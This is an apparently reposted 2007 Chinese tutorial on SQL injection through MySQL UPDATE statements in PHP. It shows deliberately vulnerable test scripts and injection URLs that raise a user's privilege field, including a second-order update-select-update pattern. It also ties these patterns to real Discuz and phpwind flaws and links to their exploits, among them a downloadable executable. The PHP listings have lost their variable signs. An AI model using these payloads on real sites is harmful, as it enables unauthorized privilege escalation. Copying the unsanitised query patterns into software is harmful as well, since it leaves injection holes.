lily 2007-8-2 13:36
UPDATE注射(mysql+php)的两个模式
<p><P style="TEXT-INDENT: 2em">一.测试环境: <BR><BR> OS: Windowsxp sp2 <BR><BR> php: php 4.3.10 ( <BR><BR> <a href="http://www.phpchina.com/javascript:;" onClick="javascript:tagshow(event, 'mysql');" target="_self"><u><strong>mysql</strong></u></a> 4.1.9 <BR><BR> <a href="http://www.phpchina.com/javascript:;" onClick="javascript:tagshow(event, 'apache');" target="_self"><u><strong>apache</strong></u></a> 1.3.33 <BR><BR> 二.测试<a href="http://www.phpchina.com/javascript:;" onClick="javascript:tagshow(event, '%CA%FD%BE%DD%BF%E2');" target="_self"><u><strong>数据库</strong></u></a>结构: <P><TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1><TBODY><TR><TD class=code bgColor=#e6e6e6>-----start--- <BR><BR>-- 数据库: `test` <BR><BR>-- <BR><BR>-- -------------------------------------------------------- <BR><BR>-- <BR><BR>-- 表的结构 `userinfo` <BR><BR>-- <BR><BR>CREATE TABLE `userinfo` ( <BR><BR>`groudid` varchar(12) NOT NULL default ’1’, <BR><BR>`user` varchar(12) NOT NULL default ’heige’, <BR><BR>`pass` varchar(122) NOT NULL default ’123456’ <BR><BR>) ENGINE=MyISAM DEFAULT CHARSET=latin1; <BR><BR>-- <BR><BR>-- 导出表中的数据 `userinfo` <BR><BR>-- <BR><BR>INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’); <BR><BR>------end-------</TD></TR></TBODY></TABLE></P>三.测试模式:<BR><BR> 1,变量没有带’’或""[MOD1] <BR><BR><TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1><TBODY><TR><TD class=code bgColor=#e6e6e6><PRE><?php <BR><BR>//test1.php Mod1 <BR><BR>servername = "localhost"; <BR><BR>dbusername = "root"; <BR><BR>dbpassword = ""; <BR><BR>dbname = "test"; <BR><BR>mysql_connect(servername,dbusername,dbpassword) or die ("数据库连接失败"); <BR><BR>sql = "update userinfo set pass=p where user=’heige’";//<--P没有使用单引号 <BR><BR>result = mysql_db_query(dbname, sql); <BR><BR>userinfo = mysql_fetch_array(result); <BR><BR>echo "<P>SQL Query:sql<P>"; <BR><BR>?></P></PRE></TD></TR></TBODY></TABLE><BR><BR> 脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造p 来达 <BR><BR> 到修改groupid的目的: <BR><BR> 那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1 <BR><BR> 在mysql里查询: <TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1><TBODY><TR><TD class=code bgColor=#e6e6e6>mysql> select * from userinfo; <BR><BR>+---------+-------+--------+ <BR><BR>| groudid | user | pass | <BR><BR>+---------+-------+--------+ <BR><BR>| 1 | heige | 123456 | <BR><BR>+---------+-------+--------+ <BR><BR>1 row in set (0.01 sec)</TD></TR></TBODY></TABLE><P style="TEXT-INDENT: 2em">用户heige的groudid又2改为1了 :) <BR><BR> 所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。 <BR><BR> 2,变量带’’或""[MOD2] </P><P><TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1><TBODY><TR><TD class=code bgColor=#e6e6e6><?php <BR><BR>//test2.php <BR><BR>servername = "localhost"; <BR><BR>dbusername = "root"; <BR><BR>dbpassword = ""; <BR><BR>dbname = "test"; <BR><BR>mysql_connect(servername,dbusername,dbpassword) or die ("数据库连接失败"); <BR><BR>sql = "update userinfo set pass=’p’ where user=’heige’";//<--P使用单引号 <BR><BR>result = mysql_db_query(dbname, sql); <BR><BR>userinfo = mysql_fetch_array(result); <BR><BR>echo " <P>SQL Query:sql <P>"; <BR><BR>?></P></TD></TR></TBODY></TABLE></P><P> 为了关闭’我们构造p应该为123456’,groudid=’2 提交: <BR><BR> http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了\’ <BR><BR> 提交的语句变成:SQL Query:update userinfo set pass=’123456\’,groudid=\’1’ where user=’heige’</P><P>mysql查询: <TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1><TBODY><TR><TD class=code bgColor=#e6e6e6>mysql> select * from userinfo; <BR><BR>+---------+-------+--------------------+ <BR><BR>| groudid | user | pass | <BR><BR>+---------+-------+--------------------+ <BR><BR>| 2 | heige | 123456’,groudid=’1 | <BR><BR>+---------+-------+--------------------+ <BR><BR>1 row in set (0.00 sec) </TD></TR></TBODY></TABLE><BR><BR> groudid并没有被修改。那么在变量被’’或""时 就完全没有被注射呢?不是 下面我们看模式2: <TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1><TBODY><TR><TD class=code bgColor=#e6e6e6><?php <BR><BR>//test3.php Mod2 <BR><BR>servername = "localhost"; <BR><BR>dbusername = "root"; <BR><BR>dbpassword = ""; <BR><BR>dbname = "test"; <BR><BR>mysql_connect(servername,dbusername,dbpassword) or die ("数据库连接失败"); <BR><BR>sql = "update userinfo set pass=’p’ where user=’heige’";//<--P使用单引号 <BR><BR>result = mysql_db_query(dbname, sql); <BR><BR>mysql_fetch_array(result); //p的数据写入数据库 <BR><BR>sql= "select pass from userinfo where user=’heige’"; <BR><BR>result = mysql_db_query(dbname, sql); <BR><BR>userinfo=mysql_fetch_array(result); <BR><BR>echo userinfo[0]; //把pass查询输出给userinfo[0] <BR><BR>sql ="update userinfo set pass=’userinfo[0]’ where user=’heige’"; <BR><BR>result = mysql_db_query(dbname, sql); <BR><BR>mysql_fetch_array(result); //把userinfo[0] 再次update <BR><BR>?> </TD></TR></TBODY></TABLE></P><P style="TEXT-INDENT: 2em">我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1 <BR><BR> 回mysql查询下 : <TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1><TBODY><TR><TD class=code bgColor=#e6e6e6>mysql> select * from userinfo; <BR><BR>+---------+-------+--------+ <BR><BR>| groudid | user | pass | <BR><BR>+---------+-------+--------+ <BR><BR>| 1 | heige | 123456 | <BR><BR>+---------+-------+--------+ <BR><BR>1 row in set (0.00 sec)</TD></TR></TBODY></TABLE><BR><BR> HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下: <BR><BR> update-->select-->update <BR><BR> 四.实际模式 <BR><BR> 模式1:Discuz 2.0/2.2 register.php 注射 <BR><BR> 漏洞分析:http://4ngel.net/article/41.htm <BR><BR> Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm <BR><BR> 模式2:phpwind 2.0.2和3.31e 权限提升漏洞 </P><P><TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1><TBODY><TR><TD class=code bgColor=#e6e6e6>漏洞分析: <BR><BR>update (profile.php 注射变量为proicon update语句里为,icon=’userdb[icon]’) <BR><BR>| <BR><BR>v <BR><BR>select (jop.php) <BR><BR>| <BR><BR>v <BR><BR>updtate (jop.php) <BR><BR><BR><BR>Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe</TD></TR></TBODY></TABLE><BR><BR> 五.鸣谢 <BR><BR> 特别感谢saiy等朋友的讨论和帮助。Thanks!!! </P></p> <center><input type="image" onclick=copyToClipBoard() src="http://www.phpchina.com/images/phpcn_book_bu_tj.gif" border="0"></center>